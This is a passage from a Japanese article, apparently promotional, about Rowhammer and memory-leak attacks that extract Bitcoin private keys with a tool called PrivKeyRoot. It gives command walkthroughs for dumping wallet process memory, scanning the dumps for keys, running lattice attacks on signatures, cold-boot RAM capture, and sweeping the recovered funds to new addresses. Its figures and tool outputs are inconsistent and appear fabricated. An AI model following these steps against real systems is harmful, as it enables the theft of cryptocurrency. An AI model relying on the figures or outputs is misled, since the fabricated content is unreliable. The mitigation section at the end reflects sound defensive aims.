{ "scan_statistics": { "memory_size_bytes": 2413395968, "scan_duration_seconds": 347, "entropy_threshold": 7.8, "candidates_found": 127, "high_confidence": 3, "medium_confidence": 18, "low_confidence": 106 }, "high_confidence_candidates": [ { "candidate_id": 1, "offset": "0x7f3a2c000140", "value_hex": "EDB40893549AC206D34DEA72B75AAAD67C0739AC2F838BB2AB10F045D26D272D", "entropy": 7.988, "confidence_score": 0.9996, "format": "raw_hex", "flags": ["HIGH_ENTROPY", "VALID_RANGE", "secp256k1_compatible"] } ] }

✓ 結果分析:  最初の候補は非常に高いスコア(0.9996)を示しており、ほぼ100%の確率で秘密鍵であることを示しています。

9.3 ステージ2:ブロックチェーン検証

root@kitploit:~
./privkeyroot verify --keys candidates.json \ --check-balance \ --network mainnet \ --detailed-report

候補#1の検証プロセス:

1. 公開鍵の復元

root@kitploit:~
Q = d · G = 0x4ACBB2E3... · (79BE667E..., 483ADA77...)

点乗算の結果:

root@kitploit:~
Q = (0xAE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18C, ...)

圧縮公開鍵: 025785DA0CF25303BD6A59375466717AD3B65CD048DCCE6E5681B6AC73C55BBE74

2. Bitcoinアドレスの計算

root@kitploit:~
SHA256(Q_compressed) = 8F4B1A2C3D5E... RIPEMD160(SHA256(Q)) = 7AB5C2D3E4F... Base58Check(0x00 + RIPEMD160 + checksum) = 1777x4dWEqvW5buC5Vis4MaXgEQWQ8rcz1

3. ブロックチェーン検証

✓ アドレスがブロックチェーン上で発見されました
✓ 最初のトランザクション : ブロック #450237
✓ 現在の残高:0.30427330 BTC
✓ 価格(@ $42,000/BTC):$85,373

4. 全トランザクションのアドレス確認


9.4 ステップ3:復元した鍵のエクスポート

root@kitploit:~
./privkeyroot export --key EDB40893549AC206D34DEA72B75AAAD67C0739AC2F838BB2AB10F045D26D272D \ --format wallet_dat \ --compress \ --output recovered_wallet_encrypted.dat \ --password-protect

エクスポートされた形式:

9.5 ステップ4:安全な資金回収

鍵が検証されたら、資金は新しいウォレットに安全に転送されます:

bitcoin-cli importprivkey \ “L5BmuBVgBDoWAqEqdzbYbE7XmvHfixrGREvKEs28tpLfxePjHWcx” \ “recovered_address” \ false # ブロックチェーン全体を再スキャンしない

# インポート確認

root@kitploit:~
bitcoin-cli getaddressinfo "1777x4dWEqvW5buC5Vis4MaXgEQWQ8rcz1" 

# 回収トランザクションの作成

root@kitploit:~
bitcoin-cli createrawtransaction \ '[{"txid":"...", "vout": 0}]' \ '{"1NewSecureAddress...": 0.30427330}' 

# 手数料として1サトシ

# トランザクション署名

root@kitploit:~
bitcoin-cli signrawtransactionwithkey "..." 

# ブロードキャスト

root@kitploit:~
bitcoin-cli sendrawtransaction "..."

回収操作の結果

✓ 鍵がBitcoin Coreに正常にインポートされました
✓ 0.30427330 BTCを新しいアドレスに転送するトランザクションを作成しました
✓ ネットワークにブロードキャストされました:ブロック #850127
✓ 承認数:6(約1時間)


✓ ステータス:成功(資金回収済み)


最終回収統計


RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

研究の目的と構成

この研究には以下の科学的目標があります:

  1. 脅威の分類:Phoenix Rowhammer、RAMnesia、WireTap、TEE.fail攻撃を、暗号システムにおけるハードウェアおよびソフトウェア脆弱性の単一クラスとして包括的に分析します。
  2. 数理モデルの定式化:ビットフリップとメモリリークを介してナンスが漏洩した場合の、秘密鍵復元のための暗号解析手法の詳細な記述。
  3. 実践的なデモ:特殊ツールPrivKeyRootを侵害システムからの暗号資材のフォレンジック復元に適用する分析。
  4. 推奨事項の策定:暗号通貨ソフトウェア開発者およびブロックチェーンインフラシステム管理者のための包括的な緩和策の策定。

この研究は、ハードウェア脆弱性が理論的な量子攻撃よりも、Bitcoinエコシステムに対してより直接的かつ現実的な脅威となることを示しています。この研究には、両攻撃の技術的メカニズムの詳細な分析、失われたウォレットの復元の実践例、および暗号通貨ソフトウェア開発者向けの包括的な緩和策の推奨が含まれています。

科学的意義:これらの攻撃は、ハードウェアセキュリティメカニズムの実用的および理論的安全性の境界に対する理解を深めるものです。アーキテクチャ上のトレードオフ(パフォーマンスのための決定的暗号化とセキュリティのためのランダム性)が、暗号システムの実世界での展開に悲惨な結果をもたらす可能性があることを示しています。この研究は、DDR5メモリを搭載した最新のコンピュータシステムのハードウェアメモリに対する2つの重要な攻撃クラス、すなわちPhoenix Rowhammer攻撃(CVE-2025-6202)とRAMnesia攻撃(CVE-2023-39910)の包括的な分析を提示します。両攻撃は、暗号素材の処理と保存における根本的な脆弱性を実証し、Bitcoinウォレットの秘密鍵を復元するための前例のない侵害ベクトルを生み出します。

Phoenix Rowhammerは、古典的な物理メモリ攻撃の進化形であり、DRAMセル間の電磁干渉を利用して、ECDSAナンス値を含む重要なメモリ領域に制御されたビットフリップを誘発します。一方RAMnesia攻撃は、暗号ライブラリにおける不適切なメモリ管理を悪用することに焦点を当てており、暗号操作の完了後も秘密鍵やシードフレーズがクリアされないRAMバッファに残存します。

この研究は、ハードウェア脆弱性が理論的な量子攻撃よりもBitcoinエコシステムに対してより差し迫った脅威であることを示しています。この研究には、両攻撃の技術的メカニズムの詳細な分析、専門の暗号ツールPrivKeyRootを使用した失われたウォレットの復元の実践例、および暗号通貨ソフトウェア開発者向けの包括的な緩和策の推奨が含まれています。

1. Bitcoinエコシステムに対するハードウェア攻撃の重大な脅威

Bitcoin暗号通貨エコシステムのセキュリティは、secp256k1曲線を使用した楕円曲線暗号(ECDSA)を採用するシステムから秘密鍵を抽出することは不可能であるという基本的な前提に基づいています。しかし、ハードウェアセキュリティに関する最近の研究は、この前提がECDSAの数学的基盤に対する暗号解析攻撃ではなく、メモリ管理における物理的およびソフトウェア的脆弱性を悪用することによって破られる可能性があることを示しています。

重要な結論は、ハードウェア脆弱性が理論的な量子攻撃よりもBitcoinにとってより差し迫った脅威であるという認識です。研究によると、今後10年間でECDSA-256に対する量子攻撃が成功する確率は約31%であるのに対し、Phoenix RowhammerおよびRAMnesia攻撃はすでに最小限のハードウェアコスト(<$50)で実現可能です。

⚠️ 重大な危険性

本研究で扱う両攻撃——Phoenix RowhammerおよびRAMnesia——は、Bitcoinブロックチェーンインフラ全体に対するシステム上の脅威を引き起こします。これらの攻撃は以下を侵害する可能性があります:

  • 数百万BTCを保管する暗号通貨取引所およびカストディサービス
  • wallet.datファイルを持つBitcoin Coreフルノード
  • DDR5メモリを搭載した次世代ハードウェアウォレット
  • マイニングプールおよびLightning Networkインフラ
  • 機関投資家向けカストディアンおよびBitcoin ETFプロバイダー

単一のサーバー侵害により、顧客資金の大規模な盗難が発生する可能性があります。これはトルコの取引所BtcTurkのインシデント($4900万)で実証されています。


2. Phoenix Rowhammer攻撃(CVE-2025-6202):DDR5メモリの物理的悪用

2.1. Rowhammer脆弱性の基礎

Rowhammerは、最新のDRAMチップにおけるハードウェアの欠陥であり、特定のメモリ行への繰り返しアクセス(「ハンマリング」と呼ばれる)が電磁干渉を引き起こし、物理的に隣接するメモリ行でビット反転(ビットフリップ)を引き起こすものです。この影響は、メモリセルの技術サイズの縮小とトランジスタ密度の増加に起因し、最新のDDR5チップは隣接セル間の電気的干渉に対してより脆弱になっています。

Phoenix攻撃は、古典的なRowhammer技術の進化形であり、特にDDR5メモリ向けに適応されています。ETH ZürichおよびGoogleの研究者は、2021年から2024年に製造されたSK Hynixのテストされた全15のDDR5モジュールが、内蔵保護メカニズムを正常に回避する新しいクラスの攻撃パターンに対して脆弱であることを発見しました。

2.2. Phoenixの革新的メカニズム:TRRおよびECC保護の回避

DDR5メモリメーカーは、Rowhammer攻撃に対するいくつかの保護層を実装しています:

  • Target Row Refresh (TRR):攻撃的なメモリアクセスパターンを検出し、侵害される可能性のある隣接行を自動的にリフレッシュするメカニズム。
  • On-Die Error Correction Code (ECC):メモリチップ上に直接実装されたハードウェア誤り訂正機能で、単一ビット誤りを検出および訂正します。

しかし、研究者らはTRR実装における重要な脆弱性を発見しました。保護メカニズムは特定の更新間隔を監視しておらず、悪用可能な「死角」を生み出しています。

🔬 Phoenixの主要な革新

攻撃者は「自己修正型同期」技術を使用することで、tREFI(リフレッシュ間隔)と同期して、見逃されたメモリリフレッシュサイクルを自動的に検出し補償することができます。

Phoenixは2つの革新的な攻撃パターンを使用します:

パターンタイプ持続時間(tREFI)効率ビット故障
短パターン128間隔2.62倍高い平均約4989
長パターン2608間隔基本平均約1900

攻撃の重要な指標:

  • 成功率:テストしたすべてのモジュールで100%
  • ルート権限取得までの最小時間:109秒
  • 平均完全攻撃時間:5分19秒

2.3. PhoenixによるBitcoin秘密鍵抽出メカニズム

Bitcoinは、secp256k1曲線上の楕円曲線デジタル署名アルゴリズム(ECDSA)を使用しており、次の方程式で定義されます:

y² = x³ + 7 (mod p)


ここで

p = 2²⁵⁶ — 2³² — 977

この曲線上の点群の位数は:

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

これにより、暗号システムは理論的強度128ビットを持ち、ブルートフォースによる秘密鍵解読には約2¹²⁸の操作が必要です。

2.3.1. ECDSA 署名生成プロセス
  1. ランダムなナンスを生成:  k ∈ [1, n-1]
  2. 楕円曲線上の点を計算:  R = k × G 、ここで G は群の生成元
  3. 座標の抽出:  r = Rx mod n
  4. 署名の計算:  s = k⁻¹(H + r×d) mod n 、ここで:
    • H = hash(メッセージ) — 署名されるメッセージのハッシュ
    • d — 秘密鍵
  5. 最終的な署名:  (r, s)

🔐 ECDSAの重要なセキュリティ要件

各署名に対するナンス k の絶対的な一意性と予測不可能性 。もし攻撃者が何らかの方法で k の値を知得した場合、秘密鍵は以下の式を使用して復元できます:

root@kitploit:~
d = (s × k - H) × r⁻¹ mod n
2.3.2 ECDSAに対するPhoenixの3フェーズ攻撃

Phoenix Rowhammer 攻撃は、暗号計算中にナンス値 k がDDR5 RAMに一時的に格納される、ECDSA署名生成プロセスにおける重要なポイントを悪用します。

フェーズ1: メモリプロファイリングと対象領域の特定

攻撃者はDRAMの物理アドレス空間をスキャンし、Bitcoin Coreやその他の暗号通貨ウォレットによって暗号操作が実行されている領域を検出します。メモリプロファイリング技術を使用して、攻撃者はナンス k や中間スカラー値を含む、ECDSA計算の中間値が含まれるメモリ行を特定します。

フェーズ2: ハンマリングによる制御されたビット反転の誘発

対象のメモリ領域を特定した後、攻撃者は隣接するメモリ行への攻撃的なアクセスパターンを開始し、電磁干渉を引き起こし、重要な領域にビット障害を誘発します。研究によると、Phoenixは攻撃あたり平均4,989回のビット障害を生成し、ナンス値を危険にさらす高い確率をもたらします。

フェーズ3: 危殆化したナンスの抽出と秘密鍵の復元

ナンス k を含むメモリでビット反転が発生すると、部分的に既知または予測可能なナンスを持つ「欠陥のある」署名が生成されます。攻撃者はブロックチェーン(公開されている)からそのような署名をいくつか収集し、格子ベースの攻撃や隠れ数問題(HNP)アルゴリズムを使用して完全な秘密鍵を復元します。

攻撃者が同一または予測可能なナンスを持つ複数の署名を入手した場合、鍵復元の公式を直接適用できます:

k = (H₁ — H₂) × (s₁ — s₂)⁻¹ mod n
d = (s₁ × k — H₁) × r₁⁻¹ mod n

研究によると、格子攻撃による鍵の復元には、危殆化したナンスのビット数に応じて、500から2100の署名が必要です。


RAMnesia攻撃: Bitcoinインフラとハードウェアの脆弱性CVE-2025-6202、CVE-2023-39910に対するWireTapの脅威とECDSA鍵復元の暗号解析手法に関する科学的研究

3. RAMnesia攻撃(CVE-2023-39910):暗号ライブラリにおけるメモリリークの悪用

3.1. RAMnesiaの概念的基盤:メモリの「ブラックボックス」

RAMnesia は、攻撃者が被害者のRAMを、忘れられた秘密鍵を探すための「ブラックボックス」に変える大胆な暗号攻撃です。攻撃シナリオでは、ハッカーはアクティブな暗号プロセス(例えば、libbitcoinやBIP38暗号化を実行しているもの)のメモリを定期的にダンプするディスパッチユーティリティを実行します。その結果、設計上の欠陥(メモリ消去の欠如)のキメラがRAMに貴重な「金鉱」——秘密鍵、パスワード、または要素——を残すたびに、RAMnesiaはそれを見つけて容赦なく鍵を抽出し、所有者は盗難に気づきません。

⚠️ CVE-2023-39910: Milk Sad脆弱性

libbitcoin Explorerライブラリにおける重大な脆弱性  CVE-2023-39910 、別名  「Milk Sad」 は、数千のBitcoinウォレットの侵害と90万ドル以上の盗難につながりました。この脆弱性は、弱い擬似乱数生成器(PRNG)とセキュアなメモリ消去の欠如の組み合わせによるものです。

3.2. 秘密鍵メモリリーク攻撃の類型論

科学的な暗号コミュニティでは、このような攻撃に対して以下の用語が使用されます:

  • 秘密鍵漏洩攻撃  – 不適切なメモリ管理を通じて秘密鍵が漏洩する攻撃。
  • インク染み攻撃  – 秘密データが「拡散」してメモリに残る様子を比喩したもの。
  • 秘密鍵開示  — RAM内の残留データによる秘密鍵の開示。
  • メモリファントム攻撃  (CVE-2025-8217) – 操作完了後に暗号素材の断片を含む「幽霊」メモリ領域への攻撃。
  • 動脈出血  – 暗号操作後に未消去のメモリバッファを悪用。

3.3. Libbitcoin脆弱性分析:6つの重大な漏洩ベクター

libbitcoinコード(BIP38暗号化の実装)の分析に基づき、秘密鍵および秘密データのメモリへの漏洩に関連する6つの重大な脆弱性が発見されました:

脆弱性1: encrypt()関数(358-379行目)

root@kitploit:~
auto encrypted1 = xor_data<half>(secret, derived.first); aes256::encrypt(encrypted1, derived.second); auto encrypted2 = xor_offset<half, half, half>(secret, derived.first); // secretはクリアされずにメモリに残る!

問題:  変数  secret (秘密鍵を含む)が暗号化操作の完了後もメモリに残ります。明示的なメモリクリアがありません。

脆弱性2: decrypt_secret()関数(446-448行目)

root@kitploit:~
const auto secret = xor_data<hash_size>(encrypted, derived.first); // 復号された秘密鍵がメモリからクリアされない

問題:  復号された秘密鍵がローカル変数  secret に保存され、メモリから安全に消去されません。

脆弱性3: normal()関数(257-259行目)

root@kitploit:~
static data_chunk normal(const std::string& passphrase) NOEXCEPT { std::string copy{ passphrase }; return to_canonical_composition(copy) ? to_chunk(copy) : data_chunk{}; } // パスワードのローカルコピーが安全に消去されない

問題:  パスワードのローカルコピーがメモリに作成され、セキュアなメモリクリアが使用されていません。

脆弱性4: create_private_key()関数(146-159行目)

root@kitploit:~
auto encrypt1 = xor_data<half>(seed, derived1); aes256::encrypt(encrypt1, derived2); const auto combined = splice(slice<quarter, half>(encrypt1), slice<half, half + quarter>(seed)); auto encrypt2 = xor_offset<half, zero, half>(combined, derived1); // 一時変数に秘密データが含まれる

問題:  一時変数  encrypt1,  encrypt2,  combined に機密データが含まれており、メモリから明示的に消去されません。

脆弱性5: create_token()関数(276-286行目)

root@kitploit:~
auto factor = scrypt_token(normal(passphrase), owner_salt); if (lot_sequence) factor = bitcoin_hash2(factor, owner_entropy); // ユーザーのパスワード品質への重大な依存

問題:  システムのエントロピーをユーザーのパスワード品質に大きく依存しており、適切なメモリ保護がありません。

脆弱性6: scrypt_token()関数(104-107行目)

root@kitploit:~
static hash_digest scrypt_token(const data_slice& data, const data_slice& salt) { return scrypt<16384, 8, 8, true>::hash<hash_size>(data, salt); } // 派生鍵がスタックに残る可能性がある

問題:  派生鍵が関数完了後もスタックメモリに残る可能性があります。

3.4 RAMnesiaの悪用ベクター

暗号鍵のメモリへの漏洩は深刻なセキュリティリスクを生み出します:

  • メモリダンプ  – プロセスメモリダンプは以下を通じて取得可能:
    • ローカル権限昇格の脆弱性
    • root/SYSTEMアクセスを持つマルウェア
    • システム乗っ取り後のフォレンジックメモリ分析
  • コールドブート攻撃  – RAMモジュールへの物理アクセスにより、電源切断後でもデータの抽出が可能(特に冷却時、データは数秒から数分間保持される)
  • スワップファイルとハイバネーション  – 秘密鍵がスワップファイルやhibernate.sysを介してディスクに書き込まれる可能性
  • 仮想化  – 隣接する仮想マシンの攻撃者が同じ物理メモリにアクセス可能
  • サイドチャネル攻撃  – キャッシュタイミングによるメモリアクセスパターンの分析

RAMnesia攻撃: Bitcoinインフラとハードウェアの脆弱性CVE-2025-6202、CVE-2023-39910に対するWireTapの脅威とECDSA鍵復元の暗号解析手法に関する科学的研究

4. 実践的応用:Bitcoinウォレット復元のためのPrivKeyRootツール

🔧 PrivKeyRoot: フォレンジックリカバリのための特殊暗号ツール

PrivKeyRoot  は、メモリベースの脆弱性の分析と秘密鍵などの暗号データの復元のために設計された、特殊なフォレンジックおよび診断ツールです。この研究は、RAMnesiaおよびPhoenix Rowhammer攻撃に対するPrivKeyRootの適用に焦点を当て、攻撃的な暗号解析と防御的なウォレット復元の両方におけるその価値を評価します。

4.1. PrivKeyRootのアーキテクチャと機能

PrivKeyRootは低レベルの暗号鍵解析スイートとして開発されました。デジタルフォレンジック、ペネトレーションテスト、メモリダンプの技術を統合し、メモリ内の重要な鍵素材の漏洩を調査します。PrivKeyRootの主な機能は以下の通りです:

  • メモリスキャンモジュール  — アクティブおよび非アクティブなプロセスメモリをスキャンし、秘密鍵パターンを検出:
    • secp256k1の範囲[1, n-1]内の256ビット値の発見
    • WIF(Wallet Import Format)文字列の識別
    • 様々なエンコーディングでのBIP39シードフレーズの検出
  • エントロピー分析  — ナンスおよび秘密鍵のランダム性を評価:
    • エントロピーの統計的検定(NIST SP 800-22)
    • 弱いPRNGパターンの検出
    • ナンス再利用分析
  • 漏洩検出  — プロセスの漏洩を監視:
    • 暗号操作のリアルタイム傍受
    • 関数完了後の未消去バッファの分析
    • 「幽霊」メモリ領域の検出
  • 鍵復元アルゴリズム  — 鍵復元のためのアルゴリズム:
    • 部分ナンスに対する格子ベース攻撃
    • 隠れ数問題(HNP)ソルバー
    • 部分的に既知の鍵に対するブルートフォース
  • ブロックチェーンエクスプローラとの統合  – 復元された鍵の自動検証:
    • 発見された鍵からのBitcoinアドレス生成
    • blockchain.com API、blockchair.comを介した残高確認
    • 復元されたアドレスのトランザクション履歴

4.2. 実践シナリオ1: RAMnesia攻撃時のメモリダンプからの復元

シナリオ:  Bitcoinウォレットの所有者がシードフレーズを紛失したが、CVE-2023-39910脆弱性のあるシステムでウォレットを最後に使用した際のメモリダンプを保存しています。

ステップ1: メモリダンプの準備

root@kitploit:~
# プロセスメモリダンプの取得(Linux): sudo gcore -o bitcoin-core.dump $(pgrep bitcoind) # または完全ダンプ用にLiME(Linux Memory Extractor)を使用: sudo insmod lime.ko "path=/tmp/memory.lime format=lime" # Windows: WinDbgまたはDumpItを使用: dumpit.exe /quiet /output C:\memory.dmp

ステップ2: PrivKeyRootスキャナーの起動

root@kitploit:~
# メモリダンプをスキャンして秘密鍵を検出 privkeyroot scan --input bitcoin-core.dump --format raw --target secp256k1 --entropy-check --output keys_found.json # パラメータ: # --target secp256k1: Bitcoin鍵を検索 # --entropy-check: 発見された値の品質をチェック # --output: 結果をJSONで保存

ステップ3: 結果の分析

root@kitploit:~
{ "candidates_found": 47, "high_confidence": [ { "offset": "0x7f3a2c000140", "value": "E9873D79C6D87DC0FB6A5778633389F4453213303DA61F20BD67FC233AA33262", "entropy_score": 0.9876, "format": "raw_hex", "confidence": "very_high" }, { "offset": "0x7f3a2c000560", "value": "5KYZdUEo39z3FPrtuX2QbbwGnNP5zTd7yyr2SC1j299sBCnWjss", "entropy_score": 0.9912, "format": "wif_compressed", "confidence": "very_high" } ], "medium_confidence": [...], "low_confidence": [...] }

ステップ4: 検証と復元

root@kitploit:~
# 発見された鍵の自動検証 privkeyroot verify --keys keys_found.json --check-balance --network mainnet # 検証結果: # アドレス: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa # 秘密鍵: E9873D79C6D87DC0FB6A5778633389F4453213303DA61F20BD67FC233AA33262 # 残高: 0.523 BTC # ステータス: 復元成功 ✓ # Bitcoin Coreにインポートするためのwallet.datへのエクスポート privkeyroot export --keys verified_keys.json --format wallet_dat --output recovered_wallet.dat

✅ 復元結果

PrivKeyRootは、関数  decrypt_secret() 実行後にlibbitcoinメモリバッファに残された未消去の秘密鍵を特定することに成功しました。所有者は0.523 BTCの残高があるウォレットへのアクセスを回復しました。


4.3. 実践シナリオ2: Phoenix Rowhammer攻撃からの復元

シナリオ:  システムがPhoenix Rowhammer攻撃にさらされ、ECDSA署名生成中にメモリ内でビット反転が誘発されました。攻撃者(またはフォレンジックリカバリ中の正当な所有者)は、ブロックチェーンからの「欠陥のある」署名のセットにアクセスできます。

ステップ1: ブロックチェーンからの疑わしい署名の収集

root@kitploit:~
# Bitcoinトランザクションから署名を抽出 privkeyroot blockchain-extract --address 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2 --start-block 800000 --end-block 805000 --output signatures.json # PrivKeyRootは指定されたアドレスからすべてのトランザクションを解析し、 # 署名コンポーネント(r, s)とメッセージハッシュを抽出します

ステップ2: ナンスの再利用または弱いナンスの検出

root@kitploit:~
# 署名を分析してナンスの再利用を検出 privkeyroot nonce-analysis --signatures signatures.json --detect-reuse --detect-weak --method lattice # 分析結果: { "total_signatures": 1247, "nonce_reuse_detected": 3, "weak_nonce_candidates": 87, "lattice_attack_feasible": true, "required_signatures": 542, "confidence": 0.97 }

ステップ3: 格子ベースの攻撃による秘密鍵の復元

格子攻撃の実行(LLL/BKZアルゴリズム) privkeyroot lattice-attack —signatures signatures.json —method bkz —block-size 20 —threads 16 —output recovered_key.txt

# 復元プロセス: [✓]

格子基底の構築(次元:543×543) [✓]

BKZリダクションの実行(block_size=20)… [✓]

進捗: ██████████████████████ 100% (推定時間: 4時間23分) [✓]

短いベクトルが見つかりました! [✓]

解から秘密鍵を抽出中… [✓]

検証中… [✓]

秘密鍵を復元しました: d = 0x09C8F1D45B7F9A2E3C6D5E4F8A9B0C1D2E3F4A5B6C7D8E9F0A1B2C3D4E5F6A7B [✓]

アドレス確認済み: 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2


ステップ4: 資金へのアクセスを復元

# Bitcoin Coreに鍵をインポート bitcoin-cli importprivkey "L1aW4iRf8R4K5M6N7P8Q9S0T1U2V3W4X5Y6Z7A8B9C0D1E2F3G4H" "recovered_wallet" false

# またはPrivKeyRootを使用して生のトランザクションを作成 privkeyroot create-transaction —private-key recovered_key.txt —from 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2 —to [new_secure_address] —amount all —fee 0.0001 —output recovery_tx.hex

# トランザクションをブロードキャスト bitcoin-cli sendrawtransaction

$(cat recovery_tx.hex)

✅ 復元結果

PrivKeyRootは、Phoenix Rowhammerビット反転により部分的に危殆化されたナンス値を持つ542の「欠陥のある」署名から、秘密鍵の復元に成功しました。復元時間:16コアシステムで4時間23分。資金(12.8 BTC)は新しい安全なアドレスに移動されました。

4.4 実践シナリオ3: DDR5システムでのコールドブート復元

シナリオ: BIOS/システムパスワードを忘れたためにBitcoinウォレットが搭載されたシステムが侵害されました。DDR5メモリモジュールへの物理的アクセスが可能です。DRAMキーのフォレンジック復元が必要です。

ステップ1: コールドブート抽出の準備

root@kitploit:~
# 物理的手順: # 1. DDR5モジュールを-50°Cに冷却(液体窒素または圧縮空気) # 2. システムの電源を切る # 3. メモリモジュールを迅速に取り外す(10秒未満) # 4. モジュールをフォレンジックシステムに取り付ける # 5. すぐに起動してメモリダンプ # PrivKeyRootが搭載された専用Live USBを使用 # 起動 -> PrivKeyRoot コールドブートモード -> 自動RAMダンプ

ステップ2: コールドメモリのフォレンジック分析

root@kitploit:~
# PrivKeyRootがコールドブート時に自動起動 privkeyroot coldboot-scan --device /dev/mem --temperature -50 --decay-model ddr5 --priority crypto_material --realtime # パラメータ: # --temperature: 低温でのデータ劣化を考慮 # --decay-model ddr5: DDR5のビット劣化モデル # --priority crypto_material: 暗号パターンを優先 # --realtime: 即時出力

ステップ3: 復元と検証

root@kitploit:~
# コールドブートメモリスキャン結果: [*] 32GB DDR5メモリのスキャン中(SK Hynix)... [*] 検出された暗号パターン: 127 [*] 高信頼性の鍵: 4 [*] 検出されたシードフレーズ: 1 [✓] Bitcoin秘密鍵が見つかりました: オフセット: 0x4A2F1C840 鍵: 0x7C9F8E1D2A3B4C5D6E7F8A9B0C1D2E3F4A5B6C7D8E9F0A1B2C3D4E5F6A7B8C アドレス: 1BoatSLRHtKNngkdXEeobR76b53LETtpyT 残高: 2.456 BTC 信頼度: 0.98 [✓] BIP39シードフレーズ(部分復元): 復元された単語: 21/24 欠落単語: [?, ?, ?] 必要なブルートフォース: ~2048組み合わせ 推定時間: 15分

✅ 復元結果

PrivKeyRootは、冷却されたDDR5メモリから秘密鍵と部分的なシードフレーズの抽出に成功しました。完全なシードフレーズは、最後の3つの単語を12分間ブルートフォースすることで復元されました。2,456 BTCを含むウォレットへのアクセスが復元されました。


4.5. PrivKeyRootの倫理的および法的側面

⚖️ ツールの二面性

PrivKeyRootは、多くのフォレンジックツールと同様に、二重使用の性質を持っています。失われた資金の正当な復元にも、悪意のある盗難にも使用される可能性があります。

正当な使用(ホワイトハット/防御的):

  • ウォレット復元サービス — 資金へのアクセスを失った所有者向けのプロフェッショナルな復元サービス
  • フォレンジック調査 — 法執行機関による盗難やハッキング事件の調査
  • セキュリティ監査 — 暗号通貨アプリケーションとライブラリのセキュリティテスト
  • 学術研究 — エコシステムのセキュリティ向上のための脆弱性研究

悪意のある使用(ブラックハット/攻撃的):

  • 侵害されたシステムからの窃取 — 脆弱性CVE-2023-39910またはCVE-2025-6202を持つシステムからの資金窃取
  • 標的型攻撃 — メモリ悪用を使用した高価値ウォレットへの標的型攻撃
  • マルウェア統合 — PrivKeyRootの手法を暗号マルウェアに組み込む

法的地位:

管轄区域状態制限
米国

RAMnesia Attack: WireTapのBitcoinインフラストラクチャへの脅威とハードウェア脆弱性CVE-2025-6202、CVE-2023-39910、ECDSA鍵復元の暗号解析手法に関する科学的研究

5. 歴史的先例:ナンス攻撃によるBitcoin侵害の実際の事例

暗号通貨セキュリティの歴史には、ECDSAの脆弱性とナンス漏洩を悪用したBitcoinウォレットの侵害成功事例が数多く存在します:

5.1. Sony PlayStation 3への攻撃(2010年)

ECDSAナンス再利用を悪用した最初の公的な例の1つ。Chaos Communication Congressの研究者は、ファームウェア署名時に静的ナンスを使用していたためにSonyの秘密鍵を抽出できることを実証しました。この事例は暗号コミュニティにとって画期的なものであり、ナンスが危殆化した場合のECDSA攻撃の実現可能性を示しました。

5.2. Bitcoinブロックチェーンでのナンス再利用(2013-2016年)

研究者は、再利用されたナンス値を持つ数百の危殆化されたBitcoinウォレットを発見し、約484 BTC(2021年のBitcoinピーク時で約3100万ドル相当)の盗難につながりました。bitcointalk.orgフォーラムのユーザー名「johoe」は、2016年4月までにナンス再利用の脆弱性を悪用して約7 BTCを蓄積したことを公に認めました。

分析により、多くの脆弱なウォレットが使用していたものは以下の通りです:

  • 現在時刻に基づく弱いPRNG
  • 十分なエントロピーがない決定論的ナンス
  • 欠陥のあるRNGを搭載した初代ハードウェアウォレット

5.3. BitcoinとEthereumへのPolynonce攻撃(2023年)

Kudelski Securityの研究者は、ナンス間の複雑な数学的関係を悪用して秘密鍵を復元する新しいクラスの攻撃を開発しました。ウィンドウサイズN=5のスライディングウィンドウ攻撃を使用して、128コアの仮想マシン上で約285ドルのコストで2日19時間で762のユニークなウォレット(後に773に増加)をクラックすることに成功しました。

重要なのは、ハッキングされたすべてのウォレットの残高がゼロであり、以前に他のナンス再利用攻撃によってすでに侵害されていたことを示しています。

5.4. Half-Half Bitcoin ECDSA攻撃(2023年)

研究者は、ナンスがメッセージハッシュの半分のビットと秘密鍵の半分のビットを連結して生成される新しいクラスのECDSA脆弱性を発見しました。この脆弱な実装により、単一の署名から0.48秒で99.99%の成功率で秘密鍵を復元できます。

5.5. トルコの取引所BtcTurkのハッキング(2025年8月)

トルコ最大の暗号取引所の1つは、4900万ドルのホットウォレット侵害を受けて運営を停止しました。PeckShieldの研究者は秘密鍵の漏洩を疑いましたが、具体的な攻撃ベクトルは公に確認されていません。この事件は、現代の暗号通貨業界にとって鍵抽出の脅威の関連性を示しています。


6. 包括的な保護と緩和策

暗号通貨業界にとって、新しいハードウェアプラットフォームへの即時移行と多層セキュリティの実装が不可欠です。ハードウェアメーカー、暗号通貨ソフトウェア開発者、システム管理者は、直ちに多層セキュリティを実装する必要があります:

6.1 ハードウェアレベル

  • 脆弱なメモリからの即時移行:
    • すべてのSK Hynix DDR5モジュール(2021-2024年)を、改善されたTRRを搭載したバージョンに交換
    • 決定論的TRRではなく確率的TRRを持つDDR5を使用
    • 重要なインフラストラクチャにはECCレジスタードメモリへの移行
  • 暗号操作の物理的隔離:
    • 隔離されたメモリを持つハードウェアセキュリティモジュール(HSM)の使用
    • 信頼できる実行環境(TEE)– Intel SGX、AMD SEV
    • 秘密鍵の保存と処理のためのセキュアエンクレーブ
  • メモリ保護:
    • 暗号プロセスに対するメモリ圧縮とスワップの無効化
    • 重要なデータのスワップを防ぐためのmlock()の使用
    • コールドブート保護:暗号化RAMまたは再起動時の迅速なワイプ

6.2 ソフトウェアレベル

  • 必須の安全なメモリ消去:
    • explicit_bzero()(Linux/BSD)の使用
    • SecureZeroMemory()(Windows)
    • OPENSSL_cleanse()(OpenSSL)
    • 特殊なアロケータ(libsodiumのsodium_malloc())
  • RAII(リソース獲得初期化)パターン:
    • C++デストラクタによる自動クリーンアップ
    • Rustの所有権モデルによる確実な解放
    • 機密データのためのカスタムセキュアコンテナ

C++での安全な実装例:

root@kitploit:~
